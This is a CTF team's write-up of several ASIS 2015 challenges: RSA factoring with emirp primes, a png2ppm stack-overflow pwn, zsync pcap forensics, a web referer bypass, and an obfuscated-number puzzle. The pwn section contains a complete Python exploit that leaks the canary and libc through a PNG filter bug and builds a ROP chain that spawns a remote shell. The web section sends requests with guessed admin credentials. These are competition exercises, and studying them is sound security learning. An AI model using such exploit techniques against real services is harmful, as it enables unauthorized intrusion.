This challenge was solved by and the write up was written by one of my teammates, NGG.

The task was to factorize an RSA public key, but we knew that the primes were emirps (https://en.wikipedia.org/wiki/Emirp).

This can be done by a simple backtrack algorithm, we try to guess the digits of both primes starting from the outermost.

KT’s note: we found out that they were emirps by factorizing some small public moduluses with Yafu. And we had to factorize only one public key as the cipher text was 129 bytes, but only 1028 bits (started with 08 which is ~4 bits) and the smallest public key which was larger than 1028 bits was the n in the python code (it is ~1029 bits btw).

n = 6528060431134312098979986223024580864611046696815854430382374273411300418237131352745191078493977589108885811759425485490763751348287769344905469074809576433677010568815441304709680418296164156409562517530459274464091661561004894449297362571476259873657346997681362092440259333170797190642839587892066761627543
def t(a, b, k):
	# sqrt(n) has 155 digits, so we need to figure out 77 digits on each side
    if k == 77:
        if a*b == n:
            print a, b
        return
    for i in xrange(10):
        for j in xrange(10):
			# we try to guess the last not-already-guessed digits of both primes
            a1 = a + i*(10**k) + j*(10**(154-k))
            b1 = b + j*(10**k) + i*(10**(154-k))
            if a1*b1 > n:
				# a1 and b1 are too large
                continue
            if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n:
				# a1 and b1 are too small
                continue
            if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))):
				# The last digits of a1*b1 (which won't change later) doesn't match n
                continue
			# this a1 and b1 seem to be a possible match, try to guess remaining digits
            t(a1, b1, k+1)

# the primes have odd number of digits (155), so we try all possible middle digits (it simplifies the code)
for i in xrange(10):
    t(i*(10**77), i*(10**77), 0)
p = 72432241732033981541049204016745025006867436329489703868293535625696723664804764149457845005290546241606890061226796845022216057745054630401792003744462109
q = 90126444730029710403645054775061222054869762216009860614264509250054875494146740846632769652653539286830798492363476860052054761040294014518933023714223427

And the flag was:

ASIS{e3bdadf44ee8d2e097096b4d82efd8ed}

This challenge was an image conversion service which expected a PNG file and converted into a PPM file. PPM is a simple text-based image format, here is the wikipedia page describing it: https://en.wikipedia.org/wiki/Netpbm_format

The main vulnerability was a stack buffer overflow, because it allocated a buffer with the size of width * height * bitsPerPixel and copied the PNG’s decompressed zlib data (except the filter field) to the buffer which does not respected the allocated buffer’s size.

The main problem was that we also overwrote the stack canary and it was a 64-bit ASLR-enabled PIE binary (as the challenge website stated so) which did not fork, so new canary generated for every new connection:

alt

Luckily there was an other vulnerability: the PNG file format uses a method called Filtering which can help to reduce the size of the file by only storing the differences with the pixel to the left or the pixel above etc. You can read about it here: https://en.wikipedia.org/wiki/Portable_Network_Graphics#Filtering

So if we tried to read the previous row in first row, then it read before our buffer. This way we could read the stack cookie from the previous function call. Although I am not 100% sure, but I think the binary was compiled with -fstack-protector-all, because there was stack cookie in every function. In this case maybe this paranoid setting caused more harm than good… :)

I had to experiment a bit with the width / height / with or without alpha channel options. As I had to switch between the “copy the above line” (2) filter (for the stack cookie) and “copy the exact values” (0) filter (for the return address). Finally I created a 6*1 PNG with alpha channel.

This way we could overwrite the stack cookie and we had RIP control. BUT as the binary was a PIE binary we had not fix addresses where we could jump. Or do we?

Basically the return address points to a valid memory address, to the next instruction after the sub_1560 call. So if we partially overwrite the return address, we can jump somewhere in the png2ppm binary.

Practically I jumped to the program’s start again as at this point I already had a lot of leaked addresses as the result of the conversion contained the stack cookie, an address from the stack, and an address from the png2ppm binary (although I had to mix the address bytes from the pixelmap and the alpha map, because the conversion divided the values into two different files).

Only one thing separated me from getting a shell: a libc address :)

Because I know the program’s base address at this point, I could jump to the puts PLT and print out the GOT table. So I got the puts function’s libc address and calculated the system’s address from it.

So in the next ROP chain I could call the system with “sh”. For this I had to calculate the “sh” string’s address from the stack (I could calculate this, because I already had a stack address leak).

Because of the partial overwrite, I also overwrote 4 bits from the ASLR random part, so for the real server I had to run the exploit multiple times to hit the correct address with a 1/16 change (locally I debugged it with disabled ASLR).

Finally I could print the flag out:

ASIS{487e532d3aae05f1717f46104ba4ebf6}

Exploit code

import sys
import binascii
import struct
import zlib
from pwn import *
from time import sleep

for iTry in xrange(64):
    print "Try #%d / 64" % (iTry + 1)
    try:
        p = remote('185.106.120.22', 1337)

        time.sleep(0.5)

        def getChunk(data):
            return struct.pack('>I', len(data) - 4) + data + struct.pack('>i', binascii.crc32(data))

        def convertPng(width, height, plain):
            pngHdr = "\x89PNG\x0d\x0a\x1a\x0a";
            iHdr = getChunk("IHDR" + struct.pack('>II', width, height) + "\x08\x06\x00\x00\x00")
            iDat = getChunk("IDAT" + zlib.compress(plain))
            iEnd = getChunk("IEND")
            pngData = pngHdr + iHdr + iDat + iEnd
            p.send(str(len(pngData)) + '\n' + pngData)

        #system = "\x2e\x5d"
        mainPart = "\x79\x5a"

        convertPng(6, 1, ("\x02" + "\x00" * 24) * 6 + "\x00"*9 + mainPart)

        p.recvuntil('\n255\n')
        leakLine1 = p.recvline().strip()
        p.recvuntil('\n255\n')
        leakLine2 = p.recvline().strip()
        print "Leak lines = %r, %r" % (leakLine1, leakLine2)

        leakStr1 = ''.join([chr(int(x)) for x in leakLine1.split(' ')])
        leakStr2 = ''.join([chr(int(x)) for x in leakLine2.split(' ')])
        cookieLeak = u64(leakStr1[0:3]+leakStr2[0]+leakStr1[3:6]+leakStr2[1])
        stackBase = u64(leakStr1[6:9]+leakStr2[2]+leakStr1[9:12]+leakStr2[3]) - 0x1fc60 - 0x480
        prgBase = u64(leakStr1[12:15]+leakStr2[4]+leakStr1[15:18]+leakStr2[5]) - 0x184e
        print "Leaks: cookie = 0x%016x, stack = 0x%016x, prg = 0x%016x" % (cookieLeak, stackBase, prgBase)

        puts = prgBase + 0xa20
        putsGot = prgBase + 0x202f48
        popRdi = prgBase + 0x1b53
        main = prgBase + (((ord(mainPart[1]) - 0x40) << 8) + ord(mainPart[0]))
        rbx = "BBBBBBBB"
        rbp = "CCCCCCCC"
        ret = "DDDDDDDD"

        convertPng(64, 1, "\x00"*(1+64*4)+"\x00" + "X"*80 + p64(cookieLeak) + "XXXXXXXX"+rbx+rbp+p64(popRdi)+p64(putsGot)+p64(puts)+p64(main))
        p.recvuntil('\n255\n')
        p.recvuntil('\n255\n')
        p.recvline()
        putsLeak = u64(p.recvline()[:-1]+'\x00'*2)
        print "puts leak = 0x%016x" % putsLeak

        putsLocal = 0x7ffff786be30
        systemLocal = 0x7ffff7842640
        remoteSystem = putsLeak - putsLocal + systemLocal

        stackBaseLocal = 0x7ffffffde000
        binShLocal = 0x7fffffffe0e8
        binShRemote = stackBase - stackBaseLocal + binShLocal

        convertPng(64, 1, "\x00"*(1+64*4)+"\x00" + "X"*80 + p64(cookieLeak) + "XXXXXXXX"+rbx+rbp+p64(popRdi)+p64(binShRemote)+p64(remoteSystem)+"sh\x00")

        p.send('cat flag\n')
        p.interactive()
        break
    except:
        try:
            p.close()
        except:
            pass
        print "Fail!"

This challenge was solved by and the write up was written by one of my teammates, gym.

In this challenge we are provided with a pcap of a zsync transfer. Zsync is a file transfer program that allows you to download a file from a remote server, where you have a copy of an older version of the file on your computer already. Zsync downloads only the new parts of the file, and transfers them over HTTP.

The zsync headers are the following:

zsync: 0.6.2
Filename: Particles
MTime: Wed, 12 Aug 2015 05:35:27 +0000
Blocksize: 2048
Length: 1125888
Hash-Lengths: 2,2,4
URL: Particles
SHA-1: 9be3800b49e84e0c014852977557f21bcde2a775

Each transfer contains the hash of the file and blocks that are being transferred. We can see that the SHA1 hash of the original file is:

9be3800b49e84e0c014852977557f21bcde2a775

Searching for this hash value we can find out that the original file is the Operation Potatoe viruses dropper (https://github.com/eset/malware-ioc/blob/master/potao/README.adoc). Some further search leads us to https://www.hybrid-analysis.com/sample/61dd8b60ac35e91771d9ed4f337cd63e0aa6d0a0c5a17bb28cac59b3c21c24a9?environmentId=4 where we can aquire the original sample.

At this point we can either examine the headers manually and restore the final file (each header contains the blocks and the number of bytes being transferred):

HTTP/1.1 206 Partial Content
Date: Fri, 09 Oct 2015 16:09:56 GMT
Server: Apache/2.4.9 (Win64) PHP/5.5.12
Last-Modified: Fri, 09 Oct 2015 10:22:06 GMT
ETag: "112e00-521a959f56f80"
Accept-Ranges: bytes
Content-Length: 1024
Content-Range: bytes 73728-74751/1125888
Connection: close

Or we can use the Xplico (http://www.xplico.org/) opensource network forensics tool to do this for us.

The final file is a windows binary with the modified dropper code, running it in a windows vm we receive an error message that prints the 32 bit hash value.

ASIS{c295c4f709efc00a54e77a027e36860c} is the flag.

KT’s alternative, “facepalm” solution

Meanwhile gym solved the challenge, I searched for every SHA-1 in the pcap.

9be3800b49e84e0c014852977557f21bcde2a775 - the real malware sample
e227c6d298358d53374decb9feaacb463717e2d9 - no results
2d27f6e5bafdf23c7a964a325ebf3a5ee9ca4b18 - no results
8f1fa762c3bf865d0298e7a8fd3640c606962122 - no results
7e05370d87196157bc35f920d7fcf27668f8e8af - no results
e8c7d65370947b40418af55bdc0f65e06b7b0c59

And at the last hash throw the following result: https://www.hybrid-analysis.com/sample/688a3ac91914609e387111e6382911ecd0aefe9f4f31bed85438b65af390cf6f?environmentId=1

And if I scrolled down to the middle of the page I saw the following screenshot:

alt

I liked this part especially as this looked like exactly as a flag. :)

alt

It was the flag of course. :D

First I thought maybe this was the intended solution, but then I saw the upload date and it was clear that somebody (probably an other team) uploaded the malware sample meanwhile the CTF, so it was a really facepalm moment for me. :)

And in spite of that the flag could be found this easily only a few team solved the challenge.

gym was not too happy when I told him that I just sent in the flag meanwhile he was working hard on solving the challenge :)

This challenge was solved by and the write up was written by one of my teammates, nguyen

http://myblog.asis-ctf.ir:8088/robots.txt

User-agent: *
Disallow: /myblog_private_dir3ct0ry

From printing feature you can see the page by sending the correct referer header. Referer: http://myblog.asis-ctf.ir:8088/myblog_private_dir3ct0ry/

GET /printpage.php?id=2417648298 HTTP/1.1
Host: myblog.asis-ctf.ir:8088
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://myblog.asis-ctf.ir:8088/myblog_private_dir3ct0ry/?username=admin&password=admin
Connection: keep-alive

After some combinations of commons params name I decided to send them all

Referer: http://myblog.asis-ctf.ir:8088/myblog_private_dir3ct0ry/?username=admin&password=admin&login=admin&user=admin

And I got this pdf has flag:

ASIS{9c846eab5200c267cb593437780caa4d}

We got the following file:

(((_____ << __) + _) << ((((_____ << __) - _) << ____) - _)) - (((((___ << __) - _) << __) + _) << (((((_ << ___) + _)) << _____) + (_ << __))) + (((_______ << _____) - _______) << ((((_ << ____) + _) << ____) + (___ << _))) - (((_ << _______) - ___) << ((((_ << ____) + _) << ____) - ___)) + (((((___ << __) + _) << ____) - ___) << ((_ << ________) + (_ << _))) + (((___ << ______) + _____) << ((((_ << ____) - _) << ____) + _______)) - (((((_ << ____) - _) << ____) - ___) << ((((_ << ____) - _) << ____) - ___)) + (((((___ << __) - _) << _____) + ___) << ((_______ << _____))) + (((_______ << _____) + _) << ((((___ << __) + _) << ____) + (___ << _))) - (((((___ << __) - _) << ___) - ___) << ((((___ << __) + _) << ____) - ___)) + (((((_____ << __) - _) << ____) + ___) << ((___ << ______))) + (((((___ << __) + _) << ___) - ___) << ((___ << ______) - (_ << ___))) + (((___ << ______) + _) << ((((___ << __) - _) << ____) - (_ << _))) - (((((_____ << __) - _) << ____) + ___) << ((_____ << _____) + ___)) - (((_______ << _____) + _____) << ((((_____ << __) - _) << ___) + _)) - (((((___ << __) + _) << ____) - _____) << (((((_ << ___) + _)) << ____))) + (((___ << ______) + _) << ((((_ << ____) + _) << ___) - (_ << _))) - (((((_ << ____) - _) << __) + _) << ((_ << _______) - ___)) + (((((___ << __) + _) << ____) - ___) << ((_______ << ____) + (_ << _))) + (_______ << ((((___ << __) + _) << ___) + ___)) + (((_______ << ____) - ___) << ((___ << _____) - _)) - (((((_ << ____) - _) << __) + _) << ((((___ << __) - _) << ___) - _)) - (((((___ << __) + _) << ___) + ___) << ((_____ << ____) - (_ << _))) - (((((_ << ____) - _) << ___) - ___) << ((((_ << ____) + _) << __) + _)) + (((_____ << ____) + ___) << ((((_ << ____) - _) << __))) + (((_____ << ___) - _) << ((((___ << __) + _) << __) - _)) + (((_______ << ___) + _) << ((_____ << ___))) + (((_ << _____) - _) << ((_ << _____) + (_ << _))) - (((((___ << __) - _) << __) - _) << ((((___ << __) + _) << _))) - (((___ << ___) - _) << ((_____ << __) - _)) + (((_____ << __) + _) << ((___ << __))) + ((((___ << __) + _)) << ______) + _ 

You have to replace the underscore with a number depending how many underscore followed each other. So _ becomes 1, __ becomes 2, etc. Then you get the following expression:

(((5 << 2) + 1) << ((((5 << 2) - 1) << 4) - 1)) - (((((3 << 2) - 1) << 2) + 1) << (((((1 << 3) + 1)) << 5) + (1 << 2))) + (((7 << 5) - 7) << ((((1 << 4) + 1) << 4) + (3 << 1))) - (((1 << 7) - 3) << ((((1 << 4) + 1) << 4) - 3)) + (((((3 << 2) + 1) << 4) - 3) << ((1 << 8) + (1 << 1))) + (((3 << 6) + 5) << ((((1 << 4) - 1) << 4) + 7)) - (((((1 << 4) - 1) << 4) - 3) << ((((1 << 4) - 1) << 4) - 3)) + (((((3 << 2) - 1) << 5) + 3) << ((7 << 5))) + (((7 << 5) + 1) << ((((3 << 2) + 1) << 4) + (3 << 1))) - (((((3 << 2) - 1) << 3) - 3) << ((((3 << 2) + 1) << 4) - 3)) + (((((5 << 2) - 1) << 4) + 3) << ((3 << 6))) + (((((3 << 2) + 1) << 3) - 3) << ((3 << 6) - (1 << 3))) + (((3 << 6) + 1) << ((((3 << 2) - 1) << 4) - (1 << 1))) - (((((5 << 2) - 1) << 4) + 3) << ((5 << 5) + 3)) - (((7 << 5) + 5) << ((((5 << 2) - 1) << 3) + 1)) - (((((3 << 2) + 1) << 4) - 5) << (((((1 << 3) + 1)) << 4))) + (((3 << 6) + 1) << ((((1 << 4) + 1) << 3) - (1 << 1))) - (((((1 << 4) - 1) << 2) + 1) << ((1 << 7) - 3)) + (((((3 << 2) + 1) << 4) - 3) << ((7 << 4) + (1 << 1))) + (7 << ((((3 << 2) + 1) << 3) + 3)) + (((7 << 4) - 3) << ((3 << 5) - 1)) - (((((1 << 4) - 1) << 2) + 1) << ((((3 << 2) - 1) << 3) - 1)) - (((((3 << 2) + 1) << 3) + 3) << ((5 << 4) - (1 << 1))) - (((((1 << 4) - 1) << 3) - 3) << ((((1 << 4) + 1) << 2) + 1)) + (((5 << 4) + 3) << ((((1 << 4) - 1) << 2))) + (((5 << 3) - 1) << ((((3 << 2) + 1) << 2) - 1)) + (((7 << 3) + 1) << ((5 << 3))) + (((1 << 5) - 1) << ((1 << 5) + (1 << 1))) - (((((3 << 2) - 1) << 2) - 1) << ((((3 << 2) + 1) << 1))) - (((3 << 3) - 1) << ((5 << 2) - 1)) + (((5 << 2) + 1) << ((3 << 2))) + ((((3 << 2) + 1)) << 6) + 1 

You can evaluate in this for example in python to this number:

341864076565289913991194230839622826699458146321693262127464374283953336041975703075161723713

Converting this number to ASCII (for example with my JS tools on kt.pe) gives you the flag:

ASIS{981e1ea684c8055f60e3a58cabb4c060}